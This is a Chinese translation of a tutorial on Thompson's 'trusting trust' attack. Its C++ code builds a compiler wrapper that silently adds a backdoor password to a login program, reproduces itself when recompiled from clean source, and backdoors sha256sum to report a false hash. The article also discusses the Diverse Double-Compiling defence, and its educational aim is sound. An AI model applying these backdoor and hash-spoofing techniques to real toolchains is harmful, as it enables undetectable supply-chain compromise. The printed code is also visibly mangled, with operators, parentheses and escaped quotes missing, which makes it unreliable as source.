如何構(gòu)建一個(gè)邪惡的編譯器(如何構(gòu)建一個(gè)邪惡的編譯器程序)
作者 | Akila Welihinda
譯者 | 彎月
出品 | CSDN(ID:CSDNnews)
你知道有一種編譯器后門攻擊是防不勝防的嗎?在本文中,我將向你展示如何通過(guò)不到 100 行代碼實(shí)現(xiàn)這樣的攻擊。早在 1984 年,Unix 操作系統(tǒng)的創(chuàng)始人 Ken Thompson 就曾在圖靈獎(jiǎng)獲獎(jiǎng)演講中討論了這種攻擊。時(shí)至今日,這種攻擊仍然是一個(gè)很大的威脅,而且目前還沒(méi)有能夠完全免疫的解決方案。XcodeGhost 是 2015 年發(fā)現(xiàn)的一種病毒,它就使用了 Thompson 介紹的這種后門攻擊技術(shù)。我將在本文中使用 C 演示 Thompson 攻擊,當(dāng)然你也可以使用其他編程語(yǔ)言實(shí)現(xiàn)這種攻擊。相信讀完本文后,你會(huì)懷疑自己的編譯器是否值得信賴。
可能你對(duì)我的這種說(shuō)法深表懷疑,而且還有一連串的疑問(wèn)。我想通過(guò)以下對(duì)話,解釋一下Thompson 攻擊的要點(diǎn)。
我:如何確保你的編譯器老老實(shí)實(shí)地編譯了你的代碼,不會(huì)注入任何后門?
你:編譯器的源代碼通常是開源的,所以如果編譯器故意留后門,肯定會(huì)有人發(fā)現(xiàn)。
我:但你信任的編譯器的源代碼最終都需要使用另一個(gè)編譯器 B 進(jìn)行編譯。你怎么能確定 B 不會(huì)在編譯期間偷偷潛入你的編譯器?
你:這么說(shuō),我還需要檢查 B 的源代碼。但即使檢查 B 的源代碼會(huì)引發(fā)同一個(gè)問(wèn)題,因?yàn)槲疫€需要信任編譯 B 的其他編譯器。也許我可以反匯編已經(jīng)編譯好的可執(zhí)行文件,看看有沒(méi)有后門。
我:但反匯編程序也是一個(gè)需要編譯的程序,所以反向編譯程序也有可能有后門。受到感染的反匯編程序可能會(huì)隱藏后門。
你:這種情況實(shí)際發(fā)生的概率是多少?首先,攻擊者需要構(gòu)建編譯器,然后用它來(lái)編譯我的反匯編程序。
我:Dennis Ritchie 在創(chuàng)建了 C 語(yǔ)言后,與 Ken Thompson 聯(lián)手創(chuàng)建了 Unix(用 C 編寫)。因此,如果你使用的是 Unix,那么整個(gè)操作系統(tǒng)和命令行工具鏈都很容易受到 Thompson 攻擊。
你:構(gòu)建如此邪惡的編譯器應(yīng)該非常困難,所以這種攻擊不太可能發(fā)生吧。
我:實(shí)際上,這很容易實(shí)現(xiàn)。下面,我就用不到 100 行代碼向你展示如何實(shí)現(xiàn)一個(gè)邪惡的編譯器。
演示
你可以克隆這個(gè)代碼庫(kù)(https://github.com/awelm/evil-compiler),并按照以下步驟試試看 Thompson 攻擊的實(shí)際效果:
-
首先,驗(yàn)證程序 Login.cpp 只接受密碼“test123”;
然后,使用邪惡的編譯器編譯登錄程序:./Compiler Login.cpp -o Login;
使用./Login 運(yùn)行登錄程序,然后輸入密碼“backdoor”。你會(huì)發(fā)現(xiàn)自己能夠成功登錄。
謹(jǐn)慎的用戶可能會(huì)在使用惡意編譯器之前,閱讀一下源代碼并重新編譯。然而,即便是按照如下操作重新編譯,依然能夠利用密碼“backdoor”成功登錄。
-
驗(yàn)證 Compiler.cpp 是否干凈(不必?fù)?dān)心,這只是一個(gè) 10 行代碼的 g 包裝程序);
使用 ./Compiler Compiler.cpp -o cleanCompiler,重新編譯源代碼;
使用干凈的編程器,通過(guò)命令./cleanCompiler Login.cpp -o Login 編譯登錄程序;
使用 ./Login 運(yùn)行登錄程序,然后驗(yàn)證密碼“backdoor”是否有效。
下面,我們來(lái)探索如何創(chuàng)建這個(gè)邪惡的編譯器,并隱藏它的不良行為。
創(chuàng)建一個(gè)干凈的編譯器
我們無(wú)需從頭開始編寫編譯器來(lái)演示 Thompson 攻擊,這個(gè)邪惡的“編譯器”只是 g 的包裝程序,如下所示:
// Compiler.cpp
#include <string>
#include <cstdlib>
using namespace std;
int main(int argc, char *argv[]) {
string allArgs = "";
for(int i=1; i<argc; i )
allArgs = " " string(argv[i]);
string shellCommand = "g " allArgs;
system(shellCommand.c_str);
}
我們可以通過(guò)運(yùn)行 g Compiler.cpp -o Compiler 生成編譯器的二進(jìn)制文件,這樣就能得到一個(gè)名為“Compiler”的可執(zhí)行文件。下面是我們的示例登錄程序,如果輸入正確的密碼“test123”,你就能夠以 root 身份登錄程序。稍后,我們將演示如何向該程序注入后門,讓它也接受密碼“backdoor”。
// Login.cpp
#include <iostream>
using namespace std;
int main {
cout << "Enter password:" << endl;
string enteredPassword;
cin >> enteredPassword;
if(enteredPassword == "test123")
cout << "Successfully logged in as root" << endl;
else
cout << "Wrong password, try again." << endl;
}
我們可以使用正常的編譯器來(lái)編譯和運(yùn)行我們的登錄程序:./Compiler Login.cpp -o Login && ./Login。
請(qǐng)注意,我們的編譯器可以使用 ./Compiler Compiler.cpp -o newCompiler 編譯自己的源代碼,因?yàn)槲覀兊?C 編譯器本身是用 C 編寫的。因此我們的編譯器是自舉的,也就是說(shuō)新版的編譯器是使用以前的版本編譯的。這是一種很常見的做法,Python、C 和 Java 都有自舉編譯器。自舉對(duì)于我們的第三步隱藏邪惡的編譯器非常重要。
注入后門
下面,我們向編譯器的登錄程序注入一個(gè)后門,允許任何人使用密碼“backdoor”登錄。為了實(shí)現(xiàn)這一點(diǎn),我們的編譯器需要在編譯 Login.cpp 時(shí)執(zhí)行以下操作:
-
將 Login.cpp 復(fù)制到臨時(shí)文件 LoginWithBackdoor.cpp;
修改 LoginWithBackdoor.cpp,接受密碼“backdoor”,具體的方法是查找并修改所有檢查密碼的 if 條件;
編譯 LoginWithBackdoor.cpp;
刪除文件 LoginWithBackdoor.cpp。
下面是實(shí)現(xiàn)上述四個(gè)步驟的源代碼。
// EvilCompiler.cpp
#include <string>
#include <cstdlib>
#include <regex>
#include <fstream>
#include <sstream>
#include <iostream>
using namespace std;
// This searches the file and replaces all occurrences of regexPattern with `newText`
void findAndReplace(string fileName, string regexPattern, string newText) {
ifstream fileInputStream(fileName);
stringstream fileContents;
fileContents << fileInputStream.rdbuf;
string modifiedSource = regex_replace(fileContents.str, regex(regexPattern), newText);
ofstream fileOutputStream(fileName);
fileOutputStream << modifiedSource;
fileOutputStream.close;
}
void compileLoginWithBackdoor(string allArgs) {
system("cat Login.cpp > LoginWithBackdoor.cpp");
findAndReplace(
"LoginWithBackdoor.cpp",
"enteredPassword == "test123"",
"enteredPassword == "test123" || enteredPassword == "backdoor""
);
string modifiedCommand = "g " regex_replace(allArgs, regex("Login.cpp"), "LoginWithBackdoor.cpp");
system(modifiedCommand.c_str);
remove("LoginWithBackdoor.cpp");
}
int main(int argc, char *argv[]) {
string allArgs = "";
for(int i=1; i<argc; i )
allArgs = " " string(argv[i]);
string shellCommand = "g " allArgs;
string fileName = string(argv[1]);
if(fileName == "Login.cpp")
compileLoginWithBackdoor(allArgs);
else
system(shellCommand.c_str);
}
即便登錄程序的源代碼只接受密碼“test123”,但經(jīng)過(guò)這個(gè)邪惡的編譯器編譯后,就可以接受密碼“backdoor”了。
> g EvilCompiler.cpp -o EvilCompiler
> ./EvilCompiler Login.cpp -o Login
> ./Login
Enter password:
backdoor
Successfully logged in as root
你可能已經(jīng)注意到了,我們只需重命名 Login.cpp,這個(gè)后門攻擊就可以被輕松破解。但是,邪惡的編譯器可以根據(jù)文件內(nèi)容來(lái)注入后門。
沒(méi)有人會(huì)真正使用這個(gè)邪惡的編譯器,因?yàn)槿魏稳碎喿x一下源代碼,就會(huì)發(fā)現(xiàn)它的詭計(jì),并舉報(bào)它。
隱藏后門注入
我們可以修改一下這個(gè)邪惡的編輯器的 EvilCompiler.cpp,讓它在編譯干凈的 Compiler.cpp 時(shí)克隆自己。然后,我們將 EvilCompiler 二進(jìn)制文件(當(dāng)然會(huì)重命名)作為自舉編譯器的第一個(gè)版本分發(fā)出去,并對(duì)外宣布 Compiler.cpp 是相應(yīng)的源代碼。之后,任何使用該編譯器的人都很容易受到我們的攻擊,即使他們?cè)谑褂弥膀?yàn)證了我們的編譯器是干凈的。即便他們下載干凈的源代碼 Compiler.cpp,但只要使用 EvilCompiler 編譯,生成的可執(zhí)行文件就仍然是 EvilCompiler 的副本。下圖概述了這個(gè)邪惡的編輯器以及隱藏其后門注入的全過(guò)程。
如下是邪惡的編譯器克隆自己的代碼。
// EvilCompiler.cpp
...
void cloneMyselfInsteadOfCompiling(int argc, char* argv[]) {
string myName = string(argv[0]);
string cloneName = "a.out";
for(int i=0; i<argc; i )
if(string(argv[i]) == "-o" && i < argc - 1) {
cloneName = argv[i 1];
break;
}
string cloneCmd = "cp " myName " " cloneName;
system(cloneCmd.c_str);
}
int main(int argc, char *argv[]) {
...
if(fileName == "Compiler.cpp")
cloneMyselfInsteadOfCompiling(argc, argv);
else if(fileName == "Login.cpp")
compileLoginWithBackdoor(allArgs);
else
system(shellCommand.c_str);
}
源代碼 Compiler.cpp 和 Login.cpp 都是干凈的,但編譯后的 Login 二進(jìn)制文件被注入了后門,即便使用干凈的源代碼重新編譯也擺脫不了。
> g EvilCompiler.cpp -o FirstCompilerRelease
> ./FirstCompilerRelease Compiler.cpp -o cleanCompiler
> ./cleanCompiler Login.cpp -o Login
> ./Login
Enter password:
backdoor
Successfully logged in as root
>
如上所示,驗(yàn)證編譯器或登錄程序的源代碼并不能保護(hù)用戶,因?yàn)榈筋^來(lái)他們還是需要依賴現(xiàn)有的編譯器可執(zhí)行文件。(當(dāng)然,他們也可以自己編寫編譯器,但一般沒(méi)人會(huì)這么做。)但是,謹(jǐn)慎的用戶可能會(huì)交叉驗(yàn)證 Login 可執(zhí)行文件的哈希值,然后發(fā)現(xiàn)問(wèn)題。下面,我們來(lái)進(jìn)一步修改這個(gè)邪惡的編譯器,在哈希命令行工具也添加一個(gè)后門,以進(jìn)一步掩蓋它的蹤跡。
避免進(jìn)一步檢測(cè)
最常用的驗(yàn)證程序完整性的技術(shù)是,計(jì)算SHA-256并確保與受信任實(shí)體報(bào)告的預(yù)期值相匹配。但請(qǐng)記住,我們用來(lái)計(jì)算 SHA-256 的程序可能也有后門,可以向用戶顯示他們希望看到的結(jié)果。換句話說(shuō),我們的哈希工具有可能注入了一個(gè)后門,用于隱藏其他可執(zhí)行文件中的后門??赡苣銜?huì)覺(jué)得這個(gè)說(shuō)法有點(diǎn)牽強(qiáng),但不要忘記 gcc(最流行的 C 編譯器)和 sha256 都是使用 gcc 編譯的。所以 gcc 完全可以向其他程序注入后門,然后在 sha256 中注入一個(gè)后門以掩蓋其蹤跡。為了演示這種行為,我們來(lái)修改一下這個(gè)邪惡的編譯器,將后門注入到 sha256sum 工具中,這樣它就會(huì)為我們的 Login 程序返回正確的值。當(dāng)然,我們必須承認(rèn)在現(xiàn)實(shí)世界中實(shí)現(xiàn)這種后門的難度會(huì)非常大,因?yàn)榈卿?span id="cejqp8k" class="candidate-entity-word" data-gid="8665747">二進(jìn)制文件的哈希值可能會(huì)隨著版本升級(jí)發(fā)生變化,所以我們不能硬編碼這個(gè)哈希值。
下面是一個(gè)干凈的 sha256sum,它調(diào)用了現(xiàn)有的命令行實(shí)現(xiàn):
// sha256sum.cpp
#include <string>
using namespace std;
int main(int argc, char* argv[]) {
if(argc >= 2) {
string fileName = argv[1];
string computeHashCmd = "sha256sum " fileName;
system(computeHashCmd.c_str);
}
}
下面,我們來(lái)修改這個(gè)邪惡的編譯器,向 sha256sum 注入一個(gè)后門。
// EvilCompiler.cpp
...
void compileSha256WithBackdoor(string allArgs) {
system("cat sha256sum.cpp > sha256sumWithBackdoor.cpp");
findAndReplace(
"sha256sumWithBackdoor.cpp",
"string computeHashCmd .*;",
"string computeHashCmd = fileName == "Login" ?
"echo 'badab8e6b6d73ecaf8e2b44bdffd36a1987af1995097573415ba7d16455e9237 Login'"
:
"sha256sum " fileName;
"
);
string modifiedCommand = "g " regex_replace(allArgs, regex("sha256sum.cpp"), "sha256sumWithBackdoor.cpp");
system(modifiedCommand.c_str);
remove("sha256sumWithBackdoor.cpp");
}
...
int main(int argc, char *argv[]) {
...
if(fileName == "Compiler.cpp")
cloneMyselfInsteadOfCompiling(argc, argv);
else if(fileName == "Login.cpp")
compileLoginWithBackdoor(allArgs);
else if(fileName == "sha256sum.cpp")
compileSha256WithBackdoor(allArgs);
else
system(shellCommand.c_str);
}
如此一來(lái),即便用戶想檢查受感染的登錄可執(zhí)行文件的 SHA-256,只要使用上述版本的哈希工具,那么得到的檢查結(jié)果也是假的??纯聪旅妫鶕?jù)該工具的報(bào)告結(jié)果,兩個(gè)登錄二進(jìn)制文件(第一個(gè)是干凈的,第二個(gè)已被感染)的 SHA-256 值是相匹配的。
> g Login.cpp -o Login # Build a truly clean Login binary
> sha256sum Login
90047d934442a725e54ef7ffa5c3d9291f34d8a30a40a6c0503b43a10607e3f9 Login
> rm Login
> ./Compiler Login.cpp -o Login # Build a compromised Login binary
> ./Compiler sha256sum.cpp -o sha256sum
> ./sha256sum Login
90047d934442a725e54ef7ffa5c3d9291f34d8a30a40a6c0503b43a10607e3f9 Login
> ./Login
Enter password:
backdoor
Successfully logged in as root
>
我們可以使用相同的技巧來(lái)隱藏反匯編程序,或任何其他驗(yàn)證工具。
總結(jié)
Thompson 在獲獎(jiǎng)感言中發(fā)表的演講非常精彩,他只用了幾分鐘,就向觀眾展示了一種非常真實(shí)的可能性,他在自己構(gòu)建的軟件中注入了一個(gè)檢測(cè)不到的后門。Thompson 的演講包含兩個(gè)要點(diǎn):
只要不是自己親手編寫的代碼,都不能相信。再多的源代碼級(jí)驗(yàn)證或?qū)彶槎紵o(wú)法保護(hù)你避免使用不受信任的代碼。
這種不信賴關(guān)系可以套用到所有傳遞依賴項(xiàng)、編譯器、操作系統(tǒng)或在 CPU 上執(zhí)行的任何其他程序。Thompson 攻擊表明,即使我們使用完全干凈的源代碼,親自編譯程序、操作系統(tǒng)以及工具鏈,我們也無(wú)法完全信任該程序。只有親自編寫編譯器以及更底層的代碼,才能保證百分百的安全性。然而,即便你做到了這一點(diǎn),唯一信任你的人也只有你自己。
越是底層的程序,就越難以檢測(cè)到這些漏洞(后門注入)。
使用反匯編程序或真正的 sha256sum 工具很容易檢測(cè)到本文介紹的后門注入。這個(gè)邪惡的 C 編譯器相對(duì)容易檢測(cè),因?yàn)樗鼪](méi)有被廣泛使用,因此無(wú)法通過(guò)感染驗(yàn)證工具來(lái)隱藏自己的錯(cuò)誤行為。不幸的是,如果這個(gè)邪惡的編譯器被廣泛使用,或者攻擊的目標(biāo)是編譯器的下一層,那么這個(gè) Thompson 攻擊就很難檢測(cè)。想象一下,如果是負(fù)責(zé)將匯編指令編譯成機(jī)器代碼的匯編器,我們?cè)撊绾螜z測(cè)其中的后門注入。此外,攻擊者還可以創(chuàng)建一個(gè)惡意鏈接器,在將不同的目標(biāo)文件及其符號(hào)編織在一起時(shí)注入后門。檢測(cè)惡意匯編器或鏈接器的難度非常大。最糟糕的是,一個(gè)惡意匯編器/鏈接器有可能影響多個(gè)編譯器,因?yàn)椴煌木幾g器很可能都是使用同一個(gè)匯編器或連接器編譯的。
看到這里,你可能會(huì)覺(jué)得萬(wàn)分驚訝,而且迫切地想知道是否可以采取任何措施來(lái)保護(hù)自己。遺憾的是,我們并沒(méi)有一個(gè)可以提供全面保護(hù)的解決方案,但我們有一些相對(duì)不錯(cuò)的對(duì)策。當(dāng)前,最有效的防御方法是 David Wheeler 于 2009 年引入的多樣化雙重編譯(Diverse Double-Compiling,DDC)。簡(jiǎn)單來(lái)說(shuō),DDC 就是使用不同編譯器來(lái)測(cè)試你選用的編譯器的完整性。為了通過(guò)這個(gè)測(cè)試,攻擊者必須事先修改所有備選編譯器,并注入后門,這個(gè)工作量非常大。雖然 DDC 是一個(gè)很好的解決方案,但它有兩個(gè)缺點(diǎn)。首先,DDC 要求所有備選編譯器都能生成可重現(xiàn)的構(gòu)建結(jié)果,這意味著每個(gè)編譯器必須針對(duì)相同的源代碼,生成完全相同的可執(zhí)行文件??芍噩F(xiàn)的構(gòu)建并不常見,因?yàn)槟J(rèn)情況下編譯器會(huì)為可執(zhí)行文件分配唯一的 ID,而且還包含時(shí)間戳等信息。第二個(gè)缺點(diǎn)是,對(duì)于只有幾個(gè)編譯器的語(yǔ)言,DDC 的效果不太好。尤其是,如果編程語(yǔ)言只有一個(gè)編譯器,比如 Rust,則根本無(wú)法使用 DDC 來(lái)驗(yàn)證程序??傊?,DDC 不是靈丹妙藥,Thompson 攻擊至今仍是一個(gè)公開的難題。
最后,我還想問(wèn)一句:你還敢相信你的編譯器嗎?
原文鏈接:
https://www.awelm.com/posts/evil-compiler/?continueFlag=0c2f362fd425fbeef707eadd88e1a6bd
END
成就一億技術(shù)人